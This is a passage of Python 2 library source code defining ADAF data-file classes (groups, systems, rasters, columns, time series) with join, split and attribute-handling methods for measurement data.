other_adafs, input_index, output_index, fill,\n minimum_increment, include_rasters=False,\n use_reference_time=False):\n \"\"\"VJoin ADAF with other ADAF. See also node :ref:`VJoin ADAF`.\"\"\"\n basis_name = '__hopefully_unique_adaf_basis_name__'\n from_seconds = {'us': 1e6, 'ms': 1e3, 's': 1}\n raster_times = []\n\n def fill_empty(enum_rasters):\n curr = 0\n empty = ttable.File()\n result = []\n for i, raster_table in enum_rasters:\n result.extend([empty] * (i - curr))\n result.append(raster_table)\n curr = i + 1\n return result\n\n def update_reference_time(raster_table, timedelta, unit):\n attributes = raster_table.get_column_attributes(basis_name)\n offset = timedelta.total_seconds() * from_seconds[unit]\n raster_table.set_column_from_array(\n basis_name,\n raster_table.get_column_to_array(basis_name) + offset)\n raster_table.set_column_attributes(basis_name, attributes)\n\n self.meta.vjoin(\n [other.meta for other in other_adafs], input_index, output_index,\n fill, minimum_increment)\n self.res.vjoin(\n [other.res for other in other_adafs], input_index, output_index,\n fill, minimum_increment)\n\n if include_rasters:\n raster_lookup = {}\n for i, other_adaf in enumerate(other_adafs):\n for system_key, system_value in other_adaf.sys.items():\n system = raster_lookup.setdefault(system_key, {})\n for raster_key, raster_value in system_value.items():\n system.setdefault(raster_key, []).append(\n (i, raster_value))\n if use_reference_time:\n raster_times.append(\n raster_value.attr.get_or_empty(\n 'reference_time'))\n\n if use_reference_time:\n raster_times = [rtime for rtime in raster_times if rtime]\n reftime_min = min(raster_times) if raster_times else None\n\n for system_key, system_value in raster_lookup.iteritems():\n system = self.sys.create(system_key)\n for raster_key, raster_value in system_value.iteritems():\n raster = system.create(raster_key)\n raster_table = ttable.File()\n raster_new = []\n raster_times = []\n last_unit = None\n\n for i, rastern in raster_value:\n reftime = rastern.attr.get_or_empty(\n 'reference_time')\n unit = rastern.basis_column().attr.get_or_empty(\n 'unit')\n\n if use_reference_time:\n if reftime != '' and unit != '':\n if last_unit and last_unit != unit:\n print('Excluding raster with different'\n ' unit.')\n continue\n raster_new.append(\n (i,\n rastern.to_table(basis_name=basis_name)))\n raster_times.append(reftime)\n else:\n print('Excluding raster missing '\n 'reference_time or unit.')\n else:\n raster_new.append((\n i,\n rastern.to_table(basis_name=basis_name)))\n last_unit = unit\n\n if raster_new:\n if use_reference_time:\n for (i, rastert), reftime, in zip(raster_new,\n raster_times):\n update_reference_time(\n rastert,\n reftime - reftime_min,\n unit)\n\n raster_table.vjoin(\n [rastert\n for rastert in fill_empty(raster_new)],\n input_index, output_index, fill, minimum_increment)\n\n if (use_reference_time\n and raster_table.number_of_columns()):\n raster_table = ttable.File.from_dataframe(\n raster_table.to_dataframe().sort(\n basis_name, ascending=True))\n raster_table.set_name(raster_key)\n\n try:\n for column_name in raster_table.column_names():\n raster_table.set_column_attributes(\n column_name,\n raster_new[0][1].get_column_attributes(\n column_name))\n except KeyError:\n pass\n\n raster.from_table(raster_table, basis_name=basis_name,\n use_basis_name=False)\n\n if use_reference_time and reftime_min is not None:\n raster.attr.set('reference_time', reftime_min)\n\n def vsplit(self, other_adafs, input_index, remove_fill, require_index,\n include_rasters=False):\n \"\"\"\n VSplit ADAF, appending the resulting ADAFs onto ``other_adafs`` list.\n \"\"\"\n meta_keys = self.meta.keys()\n res_keys = self.res.keys()\n\n if require_index and meta_keys and input_index not in meta_keys:\n raise Exception(\n 'Meta missing Input Index {0}'.format(input_index))\n\n if require_index and res_keys and input_index not in self.res.keys():\n raise Exception(\n 'Res missing Input Index {0}'.format(input_index))\n\n meta_list = []\n sybase.vsplit(\n self.meta.to_table()._data, meta_list, input_index, remove_fill)\n res_list = []\n sybase.vsplit(\n self.res.to_table()._data, res_list, input_index, remove_fill)\n\n ts_dict = {}\n basis_name = '__hopefully_unique_adaf_basis_name__'\n\n if include_rasters:\n for system_key, system_value in self.sys.items():\n for raster_key, raster_value in system_value.items():\n ts_list = []\n try:\n raster_table = raster_value.to_table(\n basis_name=basis_name)\n sybase.vsplit(\n raster_table._data,\n ts_list,\n input_index,\n remove_fill)\n except KeyError:\n # Assuming that the raster is empty and failing due to\n # missing named basis.\n pass\n for key, value in ts_list:\n ts_group = ts_dict.setdefault(key, {})\n ts_system = ts_group.setdefault(system_key, {})\n ts_system[raster_key] = value\n\n meta_dict = OrderedDict(meta_list)\n res_dict = OrderedDict(res_list)\n\n for key in sorted(set(\n meta_dict.keys() + res_dict.keys() + ts_dict.keys())):\n adaf = File()\n if key in meta_dict:\n adaf.meta.from_table(ttable.File(data=meta_dict[key]))\n if key in res_dict:\n adaf.res.from_table(ttable.File(data=res_dict[key]))\n if include_rasters and key in ts_dict:\n systems = {}\n for system_key, system_value in ts_dict[key].iteritems():\n if system_key in systems:\n system = systems[system_key]\n else:\n system = adaf.sys.create(system_key)\n systems[system_key] = system\n for raster_key, raster_value in system_value.iteritems():\n raster = system.create(raster_key)\n raster.from_table(ttable.File(data=raster_value),\n basis_name=basis_name)\n\n other_adafs.append(adaf)\n\n def source(self, other_adaf):\n \"\"\"Use the data from ``other_adaf`` as source for this file.\"\"\"\n self._data.source(other_adaf._data)\n self.meta = Group(self._data.meta, name=\"meta\")\n self.res = Group(self._data.res, name=\"res\")\n self.root = Group(self._data.root, name=\"root\")\n self.sys = SystemGroupContainer(self._data.sys, name='sys')\n self.ts = TimeseriesGroup(self.sys)\n\n def _set_file_attribute(self, key, value):\n \"\"\"Set an ADAF file attribute updating it if it has already been set.\n \"\"\"\n self.root.set_attribute(key, value)\n\n def _get_file_attribute(self, key):\n \"\"\"Get an ADAF file attribute or an empty string if the attribute\n hasn't been set.\"\"\"\n # Two different storage models have been used for file attributes:\n # 1. Stored as attributes on root table. (Used from version 1.1.2)\n # 2. Stored as zero-dimensional numpy arrays in self.root.\n # (Used from version 1.0)\n # This method tries both storage models for backwards compatibility but\n # favors 1 if both exist.\n attrs = self.root.get_attributes()\n if key in attrs:\n return attrs[key]\n elif key in self.root:\n try:\n return np.unicode_(self.root[key].value())\n except KeyError:\n return u''\n else:\n return u''\n\n def package_id(self):\n \"\"\"Get the package identifier string.\"\"\"\n return self._get_file_attribute('package_id')\n\n def source_id(self):\n \"\"\"Get the source identifier string. If the source identifier has not\n been set, it will default to an empty string.\"\"\"\n return self._get_file_attribute('source_id')\n\n def timestamp(self):\n \"\"\"Get the time string.\"\"\"\n return self._get_file_attribute('timestamp')\n\n def user_id(self):\n \"\"\"Get the user identifier string.\"\"\"\n return self._get_file_attribute('user_id')\n\n def version(self):\n \"\"\"\n Return the version as a string.\n This is useful when loading existing files from disk.\n\n .. versionadded:: 1.2.5\n \"\"\"\n return self._get_file_attribute('version') or '1.2'\n\n def __set_version(self):\n self.root.set_attribute('version', self.VERSION)\n\n def __set_package_id(self):\n \"\"\"Set the package identifier string.\"\"\"\n package_id = getenv('SY_PYTHON_SUPPORT_HASH') or ''\n self._set_file_attribute('package_id', package_id)\n\n def set_source_id(self, source_id):\n \"\"\"Set the source identifier string.\"\"\"\n self._set_file_attribute('source_id', source_id)\n\n def __set_timestamp(self):\n \"\"\"Set the time string.\"\"\"\n timestamp = datetime.now().isoformat()\n self._set_file_attribute('timestamp', timestamp)\n\n def __set_user_id(self):\n \"\"\"Set the user identifier string.\"\"\"\n user_id = getuser()\n try:\n self._set_file_attribute('user_id', user_id)\n except UnicodeDecodeError:\n self._set_file_attribute('user_id', user_id).decode(fs_encoding)\n\n def is_empty(self):\n return (self.meta.is_empty() and\n self.res.is_empty() and\n self.sys.is_empty())\n\n def __repr__(self):\n \"\"\"\n Short unambiguous string representation.\n \"\"\"\n id_ = hex(id(self))\n empty = \"Empty \" if self.is_empty() else \"\"\n return \"<{}adaf.File object at {}>\".format(empty, id_)\n\n def __unicode__(self):\n \"\"\"String representation.\"\"\"\n systems = [system for system in self.sys.keys()]\n rasters = []\n for system in systems:\n rasters.extend(self.sys[system].values())\n ts = []\n for raster in rasters:\n ts.extend(raster.keys())\n systems_list = u\":\\n {}\".format(systems) if systems else u\"\"\n\n lines = [\n u\"{!r}:\".format(self),\n u\" {meta} meta columns (.meta)\".format(\n meta=len(self.meta.keys())),\n u\" {res} result columns (.res)\".format(\n res=len(self.res.keys())),\n u\" {} time series in {} raster{} (.ts or .sys)\".format(\n len(ts), len(rasters), plural(len(rasters))),\n u\" {} measurement system{} (.sys){}\".format(\n len(systems), plural(len(systems)), systems_list)]\n\n lines.extend(sys_warnings(self.sys))\n return u\"\\n\".join(lines)\n\n def __copy__(self):\n raise NotImplementedError\n\n def __deepcopy__(self, memo=None):\n obj = super(File, self).__deepcopy__()\n obj.meta = Group(obj._data.meta, name=\"meta\")\n obj.res = Group(obj._data.res, name=\"res\")\n obj.root = Group(obj._data.root, name=\"root\")\n obj.sys = SystemGroupContainer(obj._data.sys, name='sys')\n obj.ts = TimeseriesGroup(obj.sys)\n return obj\n\n\n@inherit_doc\nclass FileList(filebase.FileListBase):\n \"\"\"\n The :class:`FileList` class is used when working with lists of ADAFs.\n\n The main interfaces in :class:`FileList` are indexing or iterating for\n reading (see the :meth:`__getitem__` method) and the :meth:`append` method\n for writing.\n\n Any port with the *ADAFs* type will produce an object of this kind. If it\n is an input port the :class:`FileList` will be in read-through mode,\n disallowing any write actions and disabling list level caching. If it is an\n output port the :class:`FileList` will be in write-through mode,\n disallowing any read actions and making methods like :meth:`append` trigger\n an imidiate writeback of that element.\n \"\"\"\n sytype = '[adaf]'\n scheme = 'hdf5'\n\n\nclass Attributes(object):\n \"\"\"Convenience class for using attributes.\"\"\"\n\n def __init__(self, attributes):\n self.__attributes = attributes\n\n def get(self, key):\n \"\"\"Return value of attribute named by ``key``. Raise ``KeyError`` if\n attribute hasn't been set.\"\"\"\n return self[key]\n\n def get_or_empty(self, key):\n \"\"\"Return value of attribute ``key`` or return an empty\n string if that attribute does not exist.\"\"\"\n return self.__attributes.get_or_empty(key)\n\n def set(self, key, value):\n \"\"\"Set value of attribute ``key``.\"\"\"\n self[key] = value\n\n def keys(self):\n \"\"\"Return the current attribute names.\"\"\"\n return self.__attributes.keys()\n\n def values(self):\n \"\"\"Return the current attribute values.\"\"\"\n return [self.get(key) for key in self.__attributes.keys()]\n\n def update(self, other):\n \"\"\"\n Add all keys and values from other.\n If some of the attributes already exist they will be updated with the\n new valeus.\n\n .. versionadded:: 1.3.1\n \"\"\"\n for k, v in other.items():\n self.set(k, v)\n\n def items(self):\n \"\"\"Return the current attribute names and values.\"\"\"\n return zip(self.keys(), self.values())\n\n def __contains__(self, key):\n \"\"\"Return True if attribute ``key`` has been set.\"\"\"\n return key in self.keys()\n\n def __getitem__(self, key):\n \"\"\"Return value of attribute named by ``key``.\"\"\"\n return self.__attributes.get(key)\n\n def __setitem__(self, key, value):\n \"\"\"Set value of attribute named by ``key``.\"\"\"\n self.__attributes.set(key, value)\n return value\n\n\nclass MAttributes(object):\n \"\"\"Convenience class for using attributes stored in a sytable column.\"\"\"\n\n def __init__(self, node, name):\n self.__node = node\n self.__name = name\n\n def get(self, key):\n \"\"\"Return value of attribute ``key``.\"\"\"\n try:\n return self.__node.get_attribute(key)\n except KeyError:\n if key == 'unit':\n return 'unknown'\n elif key == 'description':\n return ''\n raise\n\n def get_or_empty(self, key):\n \"\"\"Return value of attribute ``key`` or return an empty\n string if key does not exist.\"\"\"\n try:\n return self.get(key)\n except KeyError:\n return ''\n\n def set(self, key, value):\n \"\"\"Set value of attribute ``key``.\"\"\"\n self.__node.set_attribute(key, value)\n\n def keys(self):\n \"\"\"Return the current attribute keys.\"\"\"\n return self.__node.get().keys()\n\n\nclass SAttributes(object):\n \"\"\"Convenience class for using attributes stored in a sytable column.\"\"\"\n\n def __init__(self, node):\n self.__node = node\n\n def get(self, key):\n \"\"\"Return value of attribute named by key.\"\"\"\n return self.__node.get_column(key).tolist()[0]\n\n def get_or_empty(self, key):\n \"\"\"Return value of attribute named by key or return the empty\n string if key does not exist.\"\"\"\n try:\n return self.__node.get_column(key).tolist()[0]\n except KeyError:\n return ''\n\n def set(self, key, value):\n \"\"\"Set value of attribute named by key.\"\"\"\n self.__node.set_column(key, np.array([value]))\n\n def keys(self):\n \"\"\"Return the current attribute keys.\"\"\"\n return self.__node.columns()\n\n\nclass TAttributes(object):\n \"\"\"Convenience class for using attributes stored in a sytable itself.\"\"\"\n def __init__(self, node):\n self.__node = node\n\n def get(self, key):\n \"\"\"Return value of attribute named by key.\"\"\"\n value = self.__node.get_table_attributes()[key]\n if key == 'reference_time' and isinstance(value, basestring):\n value = isoformat_string_to_datetime(value)\n return value\n\n def get_or_empty(self, key):\n \"\"\"Return value of attribute named by key or return the empty\n string if key does not exist.\"\"\"\n try:\n return self.get(key)\n except KeyError:\n return ''\n\n def set(self, key, value):\n \"\"\"Set value of attribute named by key.\"\"\"\n if key == 'reference_time' and isinstance(value, datetime):\n value = datetime_to_isoformat_string(value)\n\n attributes = self.__node.get_table_attributes()\n attributes[key] = value\n self.__node.set_table_attributes(attributes)\n\n def keys(self):\n \"\"\"Return the current attribute keys.\"\"\"\n return self.__node.get_table_attributes().keys()\n\n\nclass Group(filebase.PPrintUnicode):\n \"\"\"\n Class representing a group of scalars. Used for ``meta`` and ``res``.\n Supports dictionary-like ``__getitem__`` interface for data retrieval. To\n write a column use :meth:`create_column`.\n \"\"\"\n def __init__(self, data, name=None):\n self.__data = data\n self.name = name\n\n def keys(self):\n \"\"\"Return the current group keys.\"\"\"\n return self.__data.columns()\n\n def values(self):\n \"\"\"Return the current group values.\"\"\"\n return [self[key] for key in self.keys()]\n\n def items(self):\n \"\"\"Return the current group items.\"\"\"\n return zip(self.keys(), self.values())\n\n def number_of_rows(self):\n \"\"\"\n Return the number of rows in the Group.\n\n .. versionadded:: 1.2.6\n \"\"\"\n return self.__data.number_of_rows()\n\n def to_table(self):\n \"\"\"Export table containing the data.\"\"\"\n result = ttable.File(data=self.__data)\n result.set_name(self.name)\n return result\n\n def get_attributes(self):\n \"\"\"Return a dictionary of all attributes on this group.\"\"\"\n return self.__data.get_table_attributes()\n\n def set_attribute(self, key, value):\n \"\"\"Add an attribute to this :class:`Group`.\n If the attribute already exists it will be updated.\"\"\"\n attr = self.__data.get_table_attributes()\n attr[key] = value\n self.__data.set_table_attributes(attr)\n\n def from_table(self, table):\n \"\"\"\n Set the content to that of table.\n This operation replaces the columns of the group with the content of\n the table.\n \"\"\"\n self.__data.source(table._data)\n\n def create_column(self, name, data, attributes=None):\n \"\"\"\n Create and add a new, named, data column to the group.\n Return created column.\n \"\"\"\n self.__data.set_column(name, data)\n column_attrs = self.__data.get_column_attributes(name)\n if attributes:\n column_attrs.set(attributes)\n return Column(column_attrs, self.__data, name)\n\n def delete_column(self, name):\n \"\"\"Delete named data column from the group.\"\"\"\n del self.__data[name]\n\n def rename_column(self, old_name, new_name):\n \"\"\"Rename the named data column.\"\"\"\n self.__data.set_column(new_name, self.__data.get_column(old_name))\n old_attrs = self.__data.get_column_attributes(old_name)\n new_attrs = self.__data.get_column_attributes(new_name)\n new_attrs.set(old_attrs.get())\n\n def is_empty(self):\n return self.__data.is_empty()\n\n def hjoin(self, other_group):\n \"\"\"HJoin Group with other Group.\"\"\"\n sybase.hjoin(self.__data, other_group.__data)\n\n def vjoin(self, other_groups, input_index, output_index, fill,\n minimum_increment):\n \"\"\"VJoin Group with other Group.\"\"\"\n input_list = sylist(types.from_string('[sytable]'))\n for other_group in other_groups:\n input_list.append(other_group.__data)\n sybase.vjoin(self.__data, input_list, input_index, output_index, fill,\n minimum_increment)\n\n def __contains__(self, key):\n \"\"\"Return True if key exists in this group or False otherwise.\"\"\"\n return self.__data.has_column(key)\n\n def __delitem__(self, key):\n \"\"\"Delete named data column.\"\"\"\n del self.__data[key]\n\n def __getitem__(self, key):\n \"\"\"Return named data column.\"\"\"\n return Column(\n self.__data.get_column_attributes(key), self.__data, key)\n\n def __setitem__(self, key, column):\n self.__data.update_column(key, column._Column__data, column.name())\n return self[key]\n\n def __repr__(self):\n id_ = hex(id(self))\n return \"<{} object {!r} at {}>:\".format(\n self.__class__.__name__, self.name, id_)\n\n def __unicode__(self):\n keys = self.keys()\n col_count = len(keys)\n row_count = self.__data.number_of_rows()\n lines = [\n u\"{!r}:\".format(self),\n u\" Name: {}\".format(self.name),\n u\" {} column{}: {}\".format(col_count, plural(col_count), keys),\n u\" {} row{}\".format(row_count, plural(row_count))]\n return u\"\\n\".join(lines)\n\n\nclass NamedGroupContainer(filebase.PPrintUnicode):\n \"\"\"Container class for group elements.\"\"\"\n\n def __init__(self, record, name=None):\n self._record = record\n self._data = record.data\n self._cache = None\n self.attr = SAttributes(record.attr)\n self.name = name\n\n def keys(self):\n \"\"\"Return the current group keys.\"\"\"\n return [key for key, value in self.items()]\n\n def items(self):\n result = []\n keys = sorted(self._cache.keys(), key=lambda x: combined_key(x))\n for key in keys:\n result.append((key, self[key]))\n return result\n\n def values(self):\n return [value for key, value in self.items()]\n\n def create(self, key):\n \"\"\"Create and add a new group. Return created group.\"\"\"\n raise NotImplementedError\n\n def copy(self, key, other):\n \"\"\"Copy existing element from other.\"\"\"\n raise NotImplementedError\n\n def delete(self, key):\n \"\"\"Delete keyed group from the container.\"\"\"\n del self[key]\n\n def is_empty(self):\n return not bool(self.keys())\n\n def __contains__(self, key):\n return key in self._cache\n\n def __delitem__(self, key):\n \"\"\"Delete keyed group.\"\"\"\n del self._data[key]\n del self._cache[key]\n\n def __getitem__(self, key):\n \"\"\"Return keyed group.\"\"\"\n raise NotImplementedError\n\n def __setitem__(self, key, value):\n \"\"\"Set keyed group.\"\"\"\n raise NotImplementedError\n\n\nclass SystemGroupContainer(NamedGroupContainer):\n \"\"\"Container class for SystemGroup elements.\"\"\"\n\n def __init__(self, data, name=None):\n self.name = name\n self._data = data\n self._cache = OrderedDict.fromkeys(data.keys())\n\n def create(self, key):\n \"\"\"Create and add a new SystemGroup.\"\"\"\n if key in self:\n raise ValueError('A system named {0} already exists.'.format(key))\n value = SystemGroup(\n _create_named_dict_child(self._data, key), key)\n self._cache[key] = value\n return value\n\n def copy(self, key, other, new_key=None):\n \"\"\"Copy existing SystemGroup from other.\"\"\"\n if new_key is None:\n new_key = key\n value = other._data[key].__deepcopy__()\n self._data[new_key] = value\n self._cache[new_key] = SystemGroup(value, new_key)\n\n def hjoin(self, other):\n for key in other.keys():\n self.copy(key, other)\n\n def __getitem__(self, key):\n \"\"\"Returns keyed :class:`SystemGroup`\"\"\"\n group = self._cache[key]\n if group is None:\n group = SystemGroup(self._data[key], key)\n self._cache[key] = group\n return group\n\n def __setitem__(self, key, value):\n \"\"\"Set keyed :class:`SystemGroup`\"\"\"\n new = typefactory.from_type(value._record.container_type)\n new.data = value._record.data\n new.attr = value._record.attr[:]\n SAttributes(new.attr).set('name', key)\n self._data[key] = new\n result = SystemGroup(new, key)\n self._cache[key] = result\n return result\n\n def __repr__(self):\n id_ = hex(id(self))\n count = len(self._cache)\n if not count:\n return \"\".format(\n self.__class__.__name__, id_)\n return \"<{} object at {}>:\".format(self.__class__.__name__, id_)\n\n def __unicode__(self):\n systems = [system for system in self._cache.keys()]\n rasters = []\n for system in systems:\n rasters.extend(self[system].values())\n ts = []\n for raster in rasters:\n ts.extend(raster.keys())\n systems_list = u\":\\n {}\".format(systems) if systems else u\"\"\n\n lines = [\n u\"{!r}:\".format(self),\n u\" {} time series in {} raster{}\".format(\n len(ts), len(rasters), plural(len(rasters))),\n u\" {} measurement system{}{}\".format(\n len(systems), plural(len(systems)), systems_list)]\n\n lines.extend(sys_warnings(self))\n return u\"\\n\".join(lines)\n\n\nclass SystemGroup(NamedGroupContainer):\n \"\"\"Container class for :class:`RasterN` elements.\"\"\"\n def __init__(self, record, name=None):\n super(SystemGroup, self).__init__(record, name)\n self._cache = OrderedDict.fromkeys(self._data.keys())\n\n def create(self, key):\n \"\"\"Create and add a new :class:`RasterN`.\"\"\"\n if key in self:\n raise ValueError('A raster named {0} already exists.'.format(key))\n value = RasterN(\n _create_named_dict_child(self._data, key), self.name, key)\n self._cache[key] = value\n return value\n\n def copy(self, key, other, new_key=None):\n \"\"\"Copy existing :class:`RasterN` from other.\"\"\"\n if new_key is None:\n new_key = key\n value = other._data[key].__deepcopy__()\n self._data[new_key] = value\n self._cache[new_key] = RasterN(value, self.name, new_key)\n\n def __getitem__(self, key):\n \"\"\"Return keyed :class:`RasterN`\"\"\"\n group = self._cache[key]\n if group is None:\n group = RasterN(self._data[key], self.name, key)\n self._cache[key] = group\n return group\n\n def __setitem__(self, key, value):\n \"\"\"Set keyed :class:`RasterN`\"\"\"\n new = value._RasterN__data\n self._data[key] = new\n result = RasterN(new, key)\n self._cache[key] = result\n return result\n\n def __repr__(self):\n id_ = hex(id(self))\n count = len(self._cache)\n empty = \"Empty \" if not count else \"\"\n return \"<{}{} object {!r} at {}>\".format(\n empty, self.__class__.__name__, self.name, id_)\n\n def __unicode__(self):\n count = len(self._cache)\n s = plural(count)\n keys = self._cache.keys()\n lines = [u\"{!r}:\".format(self)]\n if count:\n lines.append(u\" {} raster{}: {}\".format(count, s, keys))\n lines.extend(sys_warnings({None: self}))\n return u\"\\n\".join(lines)\n\n\nclass RasterN(filebase.PPrintUnicode):\n \"\"\"\n Represents a raster with a single time basis and any number of time series\n columns.\n \"\"\"\n BASIS_NAME = '!ADAF_Basis!'\n\n def __init__(self, record, system, name):\n self.__record = record\n self.__data = record.data\n self.__cache = OrderedDict.fromkeys(\n (key for key in self.__data.columns() if key != self.BASIS_NAME))\n self.__basis = None\n self.system = system\n self.name = name\n\n def __attr_guard(self, arguments):\n for key in ['unit', 'description']:\n value = arguments.get(key, '')\n if not isinstance(value, basestring):\n raise ValueError(\n u'{} attribute: {} must be a string'.format(\n key, repr(value)))\n\n @property\n def attr(self):\n \"\"\"Raster level attributes.\"\"\"\n return Attributes(TAttributes(self.__data))\n\n def keys(self):\n \"\"\"Return a list of names of the timeseries.\"\"\"\n return [key for key, value in self.items()]\n\n def items(self):\n \"\"\"\n Return a list of tuples, each with the name of a timeseries and the\n corresponding :class:`Timeseries` object.\n \"\"\"\n uncached = {key: Timeseries(self, self.__data, key)\n for key, value in self.__cache.items() if value is None}\n self.__cache.update(uncached)\n return self.__cache.items()\n\n def number_of_rows(self):\n \"\"\"\n Return the number of rows (length of a time basis/time series) in the\n raster.\n \"\"\"\n return self.__data.number_of_rows()\n\n def number_of_columns(self):\n \"\"\"Return the number of signals including the basis.\"\"\"\n return self.__data.number_of_columns()\n\n def values(self):\n \"\"\"Return a list of all signal items.\"\"\"\n return [value for key, value in self.items()]\n\n def basis_column(self):\n \"\"\"\n Return the time basis for this raster. The returned object is of type\n :class:`Column`.\n \"\"\"\n if self.__basis is None:\n self.__basis = Column(\n self.__data.get_column_attributes(self.BASIS_NAME),\n self.__data,\n self.BASIS_NAME)\n return self.__basis\n\n def create_basis(self, data, attributes=None, **kwargs):\n \"\"\"\n Create and add a basis. The contents of the dictionary ``attributes``\n are added as attributes on the signal.\n\n .. versionchanged:: 1.2.1\n Added the ``attributes`` parameter. Using kwargs to set attributes\n is now considered obsolete and will result in a warning.\n \"\"\"\n if kwargs:\n exceptions.sywarn(\n \"Avoid using keyword arguments (kwargs), use 'attributes' \"\n \"instead.\")\n\n if (self.__data.number_of_columns() and\n data.size != self.__data.number_of_rows()):\n raise ValueError(\n \"Can't create basis of length {} in raster of length \"\n \"{}\".format(data.size, self.__data.number_of_rows()))\n\n kwargs = attributes or kwargs or {}\n self.__data.set_column(self.BASIS_NAME, data)\n self.__data.set_name(kwargs.get('name', self.name))\n if kwargs:\n self.__attr_guard(kwargs)\n self.__data.get_column_attributes(self.BASIS_NAME).set(kwargs)\n self.__basis = None\n\n def create_signal(self, name, data, attributes=None, **kwargs):\n \"\"\"\n Create and add a new signal. The contents of the dictionary\n ``attributes`` are added as attributes on the signal.\n\n .. versionchanged:: 1.2.1\n Added the ``attributes`` parameter. Using kwargs to set attributes\n is now considered obsolete and will result in a warning.\n \"\"\"\n if kwargs:\n exceptions.sywarn(\n \"Avoid using keyword arguments (kwargs), use 'attributes' \"\n \"instead.\")\n\n if (self.__data.number_of_columns() and\n data.size != self.__data.number_of_rows()):\n raise ValueError(\n \"Can't create signal of length {} in raster of length \"\n \"{}\".format(data.size, self.__data.number_of_rows()))\n\n kwargs = attributes or kwargs or {}\n self.__attr_guard(kwargs)\n self.__data.set_column(name, data)\n self.__data.get_column_attributes(name).set(kwargs)\n self.__cache[name] = None\n\n def delete_signal(self, name):\n \"\"\"Delete named signal.\"\"\"\n del self.__data[name]\n self.__cache.pop(name, None)\n\n def to_table(self, basis_name=None):\n \"\"\"Export all timeseries as a Table.\n\n When basis_name is given, the basis will be included in the table and\n given the basis_name, otherwise it will not be included in the table.\n \"\"\"\n dst_table = ttable.File()\n src_table = ttable.File(data=self.__data)\n if basis_name is not None:\n dst_table.update_column(basis_name,\n src_table,\n self.BASIS_NAME)\n for column_name in src_table.column_names():\n if column_name != self.BASIS_NAME and column_name != basis_name:\n dst_table.update_column(column_name,\n src_table,\n column_name)\n dst_table.set_name(self.name)\n dst_table.set_table_attributes(src_table.get_table_attributes())\n return dst_table\n\n def from_table(self, table, basis_name=None, use_basis_name=True):\n \"\"\"\n Set the content to that of table.\n\n This operation replaces the signals of the raster with the content of\n the table.\n\n When basis_name is used, that column will be used as basis, otherwise\n it will not be defined after this operation and needs to be\n set using create_basis.\n \"\"\"\n dst_table = ttable.File()\n\n # Fill cache with all columns beside the basis.\n self.__cache = OrderedDict.fromkeys(table.column_names())\n self.__cache.pop(self.BASIS_NAME, None)\n self.__cache.pop(basis_name, None)\n\n # Fill the table with all columns beside the basis.\n for column_name in self.__cache.keys():\n dst_table.update_column(column_name, table, column_name)\n\n if basis_name is not None:\n # Let basis_column determine the name.\n if use_basis_name:\n self.__data.set_name(basis_name)\n\n # Fill the table with basis column.\n dst_table.update_column(self.BASIS_NAME, table, basis_name)\n\n dst_table.set_name(table.get_name())\n dst_table.set_table_attributes(table.get_table_attributes())\n\n self.__record.data = dst_table._data\n self.__data = dst_table._data\n self.__basis = None\n\n def vjoin(self, other_groups, input_index, output_index, fill,\n minimum_increment):\n \"\"\"VJoin Group with other Group.\"\"\"\n input_list = sylist(types.from_string('[sytable]'))\n for other_group in other_groups:\n input_list.append(other_group.__data)\n sybase.vjoin(self.__data, input_list, input_index, output_index, fill,\n minimum_increment)\n\n def __contains__(self, key):\n \"\"\"Return True if column ``key`` is in this raster.\"\"\"\n return key in self.__cache\n\n def __getitem__(self, key):\n \"\"\"Return named raster Column.\"\"\"\n if key == self.BASIS_NAME:\n raise KeyError('Column cannot be named {0}'.format(key))\n else:\n if key in self:\n if self.__cache[key] is None:\n self.__cache[key] = Timeseries(self, self.__data, key)\n else:\n raise KeyError(u'Missing {0}'.format(key))\n return self.__cache[key]\n\n def __setitem__(self, key, value):\n \"\"\"Set named raster Column.\"\"\"\n if key == self.BASIS_NAME:\n raise KeyError('Column cannot be named {0}'.format(key))\n else:\n self.__data[key] = value._Timeseries__data\n result = Timeseries(self, self.__data, key)\n self.__cache[key] = result\n return result\n\n def __repr__(self):\n id_ = hex(id(self))\n return \"<{} object {!r} at {}>\".format(\n self.__class__.__name__, self.name, id_)\n\n def __unicode__(self):\n keys = self.keys()\n col_count = len(keys)\n row_count = self.number_of_rows()\n try:\n basis = self.basis_column()\n except KeyError:\n basis = None\n lines = [\n u\"{!r}\".format(self),\n u\" Name: {}\".format(self.name),\n u\" {} column{}: {}\".format(col_count, plural(col_count), keys),\n u\" {} row{}\".format(row_count, plural(row_count))]\n if not basis:\n lines.append(u\"Warning: This raster has no basis\")\n return u\"\\n\".join(lines)\n\n\nclass Column(filebase.PPrintUnicode):\n \"\"\"\n Class representing a named column with values and attributes.\n Get attributes with ``attr`` member.\n \"\"\"\n\n def __init__(self, attributes, data, name):\n self.__attrs = attributes\n self.__data = data\n self.__name = name\n if not data.has_column(name):\n raise KeyError(u'Missing {0}'.format(name))\n self.attr = Attributes(MAttributes(attributes, name))\n\n def name(self):\n \"\"\"Return the column name.\"\"\"\n return self.__name\n\n def value(self):\n \"\"\"Return the column value.\"\"\"\n return self.__data.get_column(self.name())\n\n def size(self):\n \"\"\"Return the size of the column.\"\"\"\n return self.__data.number_of_rows()\n\n def __repr__(self):\n id_ = hex(id(self))\n return \"<{} object {!r} at {}>\".format(\n self.__class__.__name__, self.name(), id_)\n\n def __unicode__(self):\n dtype = self.value().dtype\n lines = [u\"{!r}:\".format(self),\n u\" Name: {}\".format(self.name()),\n u\" Type: {} ({})\".format(get_pretty_type(dtype), dtype),\n u\" Length: {}\".format(self.size())]\n if 'description' in self.attr:\n lines.append(u\" Description: {}\".format(self.attr['description']))\n if 'unit' in self.attr:\n lines.append(u\" Unit: {}\".format(self.attr['unit']))\n lines.append(u\" Values: {}\".format(short_narray(self.value())))\n return u\"\\n\".join(lines)\n\n\nclass Timeseries(filebase.PPrintUnicode):\n \"\"\"\n Class representing a time series. The values in the time series can be\n accessed as a numpy array via the member ``y``. The time series is also\n connected to a time basis whose values can be accessed as a numpy array\n via the property ``t``.\n\n The time series can also have any number of attributes. The methods\n :meth:`unit` and :meth:`description` retrieve those two attributes. To get\n all attributes use the method :meth:`get_attributes`.\n \"\"\"\n\n def __init__(self, node, data, name):\n self.__node = node\n self.__data = data\n self.__attrs = data.get_column_attributes(name)\n self.name = name\n\n @property\n def y(self):\n \"\"\"Time series values as a numpy array.\"\"\"\n return self.signal().value()\n\n @property\n def t(self):\n \"\"\"Time basis values as a numpy array.\"\"\"\n return self.basis().value()\n\n def unit(self):\n \"\"\"Return the unit attribute or an empty string if it is not set.\"\"\"\n try:\n return self.__attrs.get_attribute('unit')\n except KeyError:\n return ''\n\n def get_attributes(self):\n \"\"\"Return all attributes (including unit and description).\"\"\"\n 